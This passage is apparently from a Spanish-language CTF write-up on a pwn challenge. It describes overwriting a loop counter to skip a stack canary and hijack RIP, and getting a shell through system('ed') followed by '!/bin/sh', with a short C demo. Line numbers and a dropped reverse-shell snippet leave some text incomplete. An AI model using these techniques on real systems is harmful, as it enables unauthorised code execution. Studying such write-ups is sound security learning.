Aqui tenemos un buffer overflow. Escribe 200 bytes a partir de los datos del chunk. Este chunk está justo antes del top chunk. Esta es la tabla de correspondencia de los bytes con respecto al heap:
bytes 1-100 chunk.data
bytes 101-108 top_chunk.prevsize
bytes 109-116 top_chunk.size
bytes 117-200 top_chnuk.data
Y esta es la tabla de los bytes con respecto a la disposición del stack frame:
bytes 1-92 buf
bytes 93-96 i
bytes 97-104 padding
bytes 105-112 canary
bytes 113-120 rbp
bytes 121-128 rip
Solo podemos controlar el contenido de los primeros 116 bytes, es decir, podemos escribir hasta rbp parcialmente. Pero no tenemos leaks, por lo que pivotar no parece ser posible. menu2 solo ofrece un leak parcial, los dos bytes más significativos de libc, no suficientes para hacer algo relevante.
No conocemos el valor del canario, sin embargo, dado que sobreescribimos la mismísima variable de conteo, podemos hacer i=119(0x77) (1 menos porque el contador lo aumenta en 1 justo después) y así sobreescribir RIP sin tocar el canario.
Controlar rip es posible, porque hay un comportamiento peculiar en esta versión que provoca que la entrada de fgets quede duplicada y se almacene no solo en el campo data del chunk de destino sino también en el campo data del top chunk:
Recordemos que stdin en leakme es un puntero al objeto FILE_plus* en libc llamado _IO_2_1_stdin. Cuando ocurre un fork o clone el proceso hijo hereda los descriptores de archivo (o sea los hereda el descriptor de archivo 0 que apunta a _IO_2_1_stdin y NO a stdin en el padre) y los “locks” de fcntl. Los locks supuestamente son las referencias a un “file description”, cosa que indica si un descriptor de archivo está “abierto” o “cerrado” y que close modifica. La man page de fork dice:
1 2 3 4 5 6 7 8 9
• The child inherits copies of the parent's set of open file descriptors. Each file descriptor in the child refers to the same open file description (see open(2)) as the corresponding file descriptor in the parent. This means that the two file descriptors share open file status flags, file offset, and signal- driven I/O attributes (see the description of F_SETOWN and F_SETSIG in fcntl(2)).
• The child inherits copies of the parent's set of open message queue descriptors (see mq_overview(7)). Each file descriptor in the child refers to the same open message queue description as the corresponding file descriptor in the parent. This means that the two file descriptors share the same flags (mq_flags).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
The child process is an exact duplicate of the parent process except for the following points:
• The child has its own unique process ID, and this PID does not match the ID of any existing process group (setpgid(2)) or session.
• The child's parent process ID is the same as the parent's process ID.
• The child does not inherit its parent's memory locks (mlock(2), mlockall(2)).
• Process resource utilizations (getrusage(2)) and CPU time counters (times(2)) are reset to zero in the child.
• The child's set of pending signals is initially empty (sigpending(2)).
• The child does not inherit semaphore adjustments from its parent (semop(2)).
• The child does not inherit process-associated record locks from its parent (fcntl(2)). (On the other hand, it does inherit fcntl(2) open file description locks and flock(2) locks from its parent.)
exec 1>/dev/tty && exec 2>/dev/tty reabre los descriptores stdin y stdout para que apunte directamente a la terminal. /dev/tty es un fichero especial que representa la terminal del proceso actual.
No tenemos la dirección de una cadena “sh” pero en el Dockerfile vemos lo siguiente: RUN apt-get install -y ed
El contenedor posee ed, un editor de texto. Hay una cadena que dice “info leak with uninitialized bytes?”. Bueno, podemos tomar solo una parte y ejecutar system("ed bytes?"). ed spawnea una terminal interactiva, desde la cual podemos invocar una shell escribiendo !/bin/sh. Por ejemplo:
intmain() { // no lo detiene! stdin = (FILE*)0xdeadbeef; close(1); close(2); system("ed bytes?"); return0; }
1 2 3 4 5
$ ./a.out !/bin/sh exec 1>/dev/tty && exec 2>/dev/tty uname Linux
Perfecto! Ahora solo hay un problema y es que en remoto exec 1>/dev/tty && exec 2>/dev/tty no funcionará (estamos conectados por un socket, muchas veces no existe un terminal asociado).
En este caso hay que redirigir la salida estándar a otro descriptor de archivo. Una reverse shell es perfecta porque por debajo hace:
Y así consigue redirigir los descriptores de archivo del socket (que heredaron cerrados stdout y stderr del proceso padre) a los descriptores estándar de un nuevo proceso. Aquí no hay un fork.
Esta categoría ya si se me hizo mucho más complicada. La dificultad de los retos aquí (y en las categorías posteriores) es bastante dispareja, lo mismo encuentras algo cuya vulnerabilidad está en el nombre o algo que requiera una buena dosis de determinación y por lo que tengas que pasar días averiguando como rayos explotar eso. He aprendido muchísimo.